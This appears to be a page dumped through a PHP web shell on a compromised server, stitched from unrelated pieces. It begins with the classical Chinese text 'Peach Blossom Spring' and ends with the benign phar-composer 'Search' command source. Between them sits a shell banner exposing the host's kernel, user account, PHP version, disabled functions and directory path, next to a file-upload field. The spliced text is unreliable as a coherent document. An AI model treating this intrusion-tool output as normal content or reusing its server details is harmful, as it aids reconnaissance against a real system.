晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。 林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。 见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝) 既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。 南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。
|
Server : Apache System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64 User : rainic ( 1014) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system Directory : /opt/cpanel/ea-wappspector/vendor/clue/phar-composer/src/Command/ |
Upload File : |
<?php
namespace Clue\PharComposer\Command;
use Clue\PharComposer\Phar\Packager;
use Packagist\Api\Client;
use Packagist\Api\Result\Package;
use Packagist\Api\Result\Package\Version;
use Packagist\Api\Result\Result;
use Symfony\Component\Console\Command\Command;
use Symfony\Component\Console\Helper\QuestionHelper;
use Symfony\Component\Console\Input\InputArgument;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Output\OutputInterface;
use Symfony\Component\Console\Question\ChoiceQuestion;
use Symfony\Component\Console\Question\Question;
class Search extends Command
{
/** @var Packager */
private $packager;
/** @var Client */
private $packagist;
/** @var bool */
private $isWindows;
public function __construct(Packager $packager = null, Client $packagist = null, $isWindows = null)
{
if ($packager === null) {
$packager = new Packager();
}
if ($packagist === null) {
$packagist = new Client();
}
if ($isWindows === null) {
$isWindows = DIRECTORY_SEPARATOR === '\\';
}
$this->packager = $packager;
$this->packagist = $packagist;
$this->isWindows = $isWindows;
parent::__construct();
}
protected function configure()
{
$this->setName('search')
->setDescription('Interactive search for project name')
->addArgument('project', InputArgument::OPTIONAL, 'Project name or path', null);
}
/**
* @param InputInterface $input
* @param OutputInterface $output
* @param string $label
* @param array<string,string> $choices
* @param ?string $abortable
* @return ?string
*/
protected function select(InputInterface $input, OutputInterface $output, $label, array $choices, $abortable = null)
{
$helper = $this->getHelper('question');
assert($helper instanceof QuestionHelper);
if (!$choices) {
$output->writeln('<error>No matching packages found</error>');
return null;
}
// use numeric keys for all options
$select = array_merge(array(0 => $abortable), array_values($choices));
if ($abortable === null) {
unset($select[0]);
}
$question = new ChoiceQuestion($label, $select);
$index = array_search($helper->ask($input, $output, $question), $select);
if ($index === 0) {
return null;
}
$indices = array_keys($choices);
return $indices[$index - 1];
}
protected function execute(InputInterface $input, OutputInterface $output)
{
$this->packager->setOutput($output);
$this->packager->coerceWritable();
$helper = $this->getHelper('question');
assert($helper instanceof QuestionHelper);
$project = $input->getArgument('project');
do {
if ($project === null) {
// ask for input
$question = new Question('Enter (partial) project name > ', '');
$project = $helper->ask($input, $output, $question);
} else {
$output->writeln('Searching for <info>' . $project . '</info>...');
}
$choices = array();
foreach ($this->packagist->search($project) as $result) {
assert($result instanceof Result);
$label = str_pad($result->getName(), 39) . ' ';
$label = str_replace($project, '<info>' . $project . '</info>', $label);
$label .= $result->getDescription();
$label .= ' (⤓' . $result->getDownloads() . ')';
$choices[$result->getName()] = $label;
}
$project = $this->select($input, $output, 'Select matching package', $choices, 'Start new search');
} while ($project === null);
$output->writeln('Selected <info>' . $project . '</info>, listing versions...');
$package = $this->packagist->get($project);
assert($package instanceof Package);
$choices = array();
foreach ($package->getVersions() as $version) {
assert($version instanceof Version);
$label = $version->getVersion();
/* @var ?string $bin */
$bin = $version->getBin();
$label .= $bin !== null ? ' (☑ executable bin)' : ' (<error>no executable bin</error>)';
$choices[$version->getVersion()] = $label;
}
$version = $this->select($input, $output, 'Select available version', $choices);
$action = $this->select(
$input,
$output,
'Action',
array_filter(array(
'build' => 'Build project',
'install' => $this->isWindows ? null : 'Install project system-wide'
)),
'Quit'
);
if ($action === null) {
return 0;
}
$pharer = $this->packager->getPharer($project, $version);
if ($action === 'install') {
$path = $this->packager->getSystemBin($pharer->getPackageRoot());
$this->packager->install($pharer, $path);
} else {
$pharer->build();
}
return 0;
}
}